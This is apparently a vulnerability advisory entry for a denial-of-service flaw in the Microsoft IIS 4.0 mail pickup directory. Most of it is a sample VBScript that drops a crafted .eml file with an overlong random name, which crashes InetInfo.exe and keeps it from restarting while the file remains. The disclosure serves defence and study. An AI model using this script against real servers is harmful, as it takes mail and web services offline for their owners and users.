Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

Microsoft IIS 4.0 Pickup Directory DoS Vulnerability

Valentijn <iam@MY.NET> has provided the following sample script:

<example script>

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: CRASHTHIS@my.net"
Thefile.writeline "X-Receiver: dump@my.net"
Thefile.writeline "From: <CRASHTHIS@my.net>"
Thefile.writeline "To: <dump@my.net>"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " & now()
Thefile.writeline "X-Generator: " & Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password & chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

</example script>